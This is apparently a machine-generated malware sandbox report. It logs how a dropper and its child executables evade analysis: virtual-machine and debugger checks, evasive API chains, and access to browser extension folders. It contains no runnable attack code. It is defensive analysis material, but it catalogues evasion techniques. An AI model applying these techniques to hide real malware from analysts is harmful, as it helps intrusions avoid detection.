Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Found evasive API chain (may stop execution after checking mutex)

Show sources

Source: C:\Users\user\AppData\Local\Temp\DDEE.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

Tries to evade analysis by execution special instruction which cause usermode exception

Show sources

Source: C:\Users\user\AppData\Local\Temp\9A8F.exe	Special instruction interceptor: First address: 0000000002B271A6 instructions 0F3F070BC745FCFFFFFFFF33C033D2 caused by: Unknown instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\9A8F.exe	Special instruction interceptor: First address: 0000000002B29A1A instructions 0F0B caused by: Known instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\9A8F.exe	Special instruction interceptor: First address: 0000000002B2FAF6 instructions 0F3F070BC745FCFFFFFFFF33C033D2 caused by: Unknown instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\9A8F.exe	Special instruction interceptor: First address: 0000000002B2F972 instructions 0F0B caused by: Known instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\9A8F.exe	Special instruction interceptor: First address: 0000000002B2E80F instructions 0F0B caused by: Known instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\9A8F.exe	Special instruction interceptor: First address: 0000000002B32D64 instructions 0F0B caused by: Known instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\9A8F.exe	Special instruction interceptor: First address: 0000000001223EB2 instructions 0F0B caused by: Known instruction #UD exception

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: rffhjft, 0000000B.00000002.775406412.0000000002140000.00000004.00000001.sdmp, BC2D.exe, 00000014.00000002.810255073.00000000006C8000.00000004.00000020.sdmp

Binary or memory string: ASWHOOK

Checks if the current machine is a virtual machine (disk enumeration)

Show sources

Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rffhjft	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rffhjft	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rffhjft	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rffhjft	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rffhjft	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rffhjft	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Show sources

Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep

Contains functionality to detect sleep reduction / modifications

Show sources

Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_00406AA0		21_2_00406AA0
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_00476CF0		21_2_00476CF0

Found evasive API chain (may stop execution after checking computer name)

Show sources

Source: C:\Users\user\AppData\Local\Temp\DDEE.exe

Evasive API call chain: GetComputerName,DecisionNodes,Sleep

Source: C:\Windows\explorer.exe TID: 6828	Thread sleep count: 608 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6836	Thread sleep count: 271 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1256	Thread sleep count: 381 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1256	Thread sleep time: -38100s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4904	Thread sleep count: 404 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6364	Thread sleep count: 188 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6616	Thread sleep count: 282 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1172	Thread sleep count: 315 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6012	Thread sleep time: -150000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe TID: 6400	Thread sleep count: 40 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2203.exe TID: 6704	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep	graph_0-19561
Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess	graph_0-19733

Source: C:\Users\user\AppData\Local\Temp\2203.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 608	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 381	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 404	Jump to behavior

Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe

API coverage: 4.5 %

Source: C:\Users\user\AppData\Local\Temp\DDEE.exe

Code function: 21_2_00476CF0

21_2_00476CF0

Source: C:\Users\user\AppData\Local\Temp\DDEE.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\sqlite3[1].dll

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\DDEE.exe

Registry key enumerated: More than 151 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Users\user\Desktop\7NAzyCWRyM.exe

Evaded block: after key decision

graph_0-19680

Source: C:\Users\user\AppData\Local\Temp\2203.exe

Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	API call chain: ExitProcess graph end node	graph_0-19734
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\	Jump to behavior

Source: WerFault.exe, 00000012.00000003.802223530.0000000004FCB000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllV
Source: 2203.exe, 00000029.00000002.1011048286.00000000065A2000.00000004.00000001.sdmp	Binary or memory string: VMware
Source: WerFault.exe, 00000012.00000002.811777388.0000000004F62000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAWy;
Source: 2203.exe, 00000029.00000002.1011048286.00000000065A2000.00000004.00000001.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMwareYD3VSVV1Win32_VideoControllerXEKBET54VideoController120060621000000.000000-00032725113display.infMSBDAZ5D1HESOPCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78OKWin32_ComputerSystemcomputer1280 x 1024 x 4294967296 colors7TXU4R7T4
Source: explorer.exe, 00000005.00000000.711867790.000000000A897000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.678021074.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 0000000E.00000002.801649646.0000022D90E89000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAWPG
Source: 2203.exe, 00000029.00000002.1006596265.0000000006593000.00000004.00000001.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMwareYD3VSVV1Win32_VideoControllerXEKBET54VideoController120060621000000.000000-00032725113display.infMSBDAZ5D1HESO.
Source: explorer.exe, 00000005.00000000.693042520.0000000006650000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.678021074.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 0000000E.00000002.801631490.0000022D90E70000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000002.801834584.0000022D90EEB000.00000004.00000001.sdmp, WerFault.exe, 00000012.00000002.811777388.0000000004F62000.00000004.00000001.sdmp, WerFault.exe, 00000012.00000002.811946701.0000000004FCB000.00000004.00000001.sdmp, DDEE.exe, 00000015.00000002.837815230.00000000006CB000.00000004.00000001.sdmp, DDEE.exe, 00000015.00000003.817123543.00000000006D7000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000005.00000000.672798793.0000000004710000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000[Wm
Source: explorer.exe, 00000005.00000000.678245196.000000000A716000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000/
Source: explorer.exe, 00000005.00000000.678308573.000000000A784000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000@
Source: 2203.exe, 00000029.00000002.1006596265.0000000006593000.00000004.00000001.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMwareYD3VSVV1Win32_VideoControllerXEKBp

Source: C:\Users\user\Desktop\7NAzyCWRyM.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe

Code function: 38_2_00401D96 CreateThread,GetVersionExA,GetSystemInfo,GetModuleHandleA,GetProcAddress,GetCurrentProcess,GetTickCount,

38_2_00401D96

Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: 0_2_00418FC0 BuildCommDCBAndTimeoutsA,CreateMailslotW,GetNamedPipeHandleStateA,ReleaseSemaphore,FindAtomA,TzSpecificLocalTimeToSystemTime,GlobalHandle,SetConsoleCursorInfo,TlsSetValue,CopyFileW,GetLongPathNameA,SetVolumeMountPointA,GetProcessPriorityBoost,FreeEnvironmentStringsA,GetDriveTypeA,FindFirstFileExA,	0_2_00418FC0
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_00405E40 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	21_2_00405E40
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	21_2_00401280
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	21_2_00401090
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_00409B40 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	21_2_00409B40
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_004087E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	21_2_004087E0
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_004096E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	21_2_004096E0
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_00409970 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	21_2_00409970
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_00478A30 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	21_2_00478A30
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_004714D0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	21_2_004714D0
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_004712E0 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	21_2_004712E0
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_00476090 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	21_2_00476090
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_00479930 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	21_2_00479930
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_00479BC0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	21_2_00479BC0
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_00479D90 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	21_2_00479D90

Source: C:\Users\user\Desktop\7NAzyCWRyM.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging:

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Show sources

Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rffhjft	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	System information queried: CodeIntegrityInformation	Jump to behavior

Source: C:\Users\user\Desktop\7NAzyCWRyM.exe

0_2_0042E8D0

Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: 0_2_00540042 push dword ptr fs:[00000030h]	0_2_00540042
Source: C:\Users\user\AppData\Roaming\rffhjft	Code function: 10_2_00470042 push dword ptr fs:[00000030h]	10_2_00470042
Source: C:\Users\user\AppData\Local\Temp\8633.exe	Code function: 13_2_0054092B mov eax, dword ptr fs:[00000030h]	13_2_0054092B
Source: C:\Users\user\AppData\Local\Temp\8633.exe	Code function: 13_2_00540D90 mov eax, dword ptr fs:[00000030h]	13_2_00540D90
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Code function: 19_2_00540042 push dword ptr fs:[00000030h]	19_2_00540042
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Code function: 19_2_007658C1 push dword ptr fs:[00000030h]	19_2_007658C1
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_00401000 mov eax, dword ptr fs:[00000030h]	21_2_00401000
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_0040C180 mov eax, dword ptr fs:[00000030h]	21_2_0040C180
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_0047092B mov eax, dword ptr fs:[00000030h]	21_2_0047092B
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_00471250 mov eax, dword ptr fs:[00000030h]	21_2_00471250
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_0047C3D0 mov eax, dword ptr fs:[00000030h]	21_2_0047C3D0
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: 21_2_00470D90 mov eax, dword ptr fs:[00000030h]	21_2_00470D90
Source: C:\Users\user\AppData\Local\Temp\11C5.exe	Code function: 23_2_007434CB push dword ptr fs:[00000030h]	23_2_007434CB
Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe	Code function: 38_2_0047092B mov eax, dword ptr fs:[00000030h]	38_2_0047092B
Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe	Code function: 38_2_00470D90 mov eax, dword ptr fs:[00000030h]	38_2_00470D90

Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rffhjft	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\7NAzyCWRyM.exe

Code function: 0_2_00434CF0 IsDebuggerPresent,DebuggerProbe,

0_2_00434CF0

Source: C:\Users\user\AppData\Local\Temp\DDEE.exe

Code function: 21_2_004048D0 VirtualProtect ?,00000004,00000100,00000000

21_2_004048D0

Source: C:\Users\user\Desktop\7NAzyCWRyM.exe

Code function: 0_2_0042E092 InterlockedIncrement,__itow_s,__invoke_watson_if_error,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,__strftime_l,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,_wcscpy_s,__invoke_watson_if_error,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,__snwprintf_s,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,__invoke_watson_if_oneof,__invoke_watson_if_error,GetFileType,_wcslen,WriteConsoleW,GetLastError,__invoke_watson_if_oneof,_wcslen,WriteFile,WriteFile,OutputDebugStringW,__itow_s,__invoke_watson_if_error,___crtMessageWindowW,

0_2_0042E092

Source: C:\Users\user\Desktop\7NAzyCWRyM.exe

0_2_0041AD43

Source: C:\Users\user\AppData\Local\Temp\2203.exe

Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\BC2D.exe

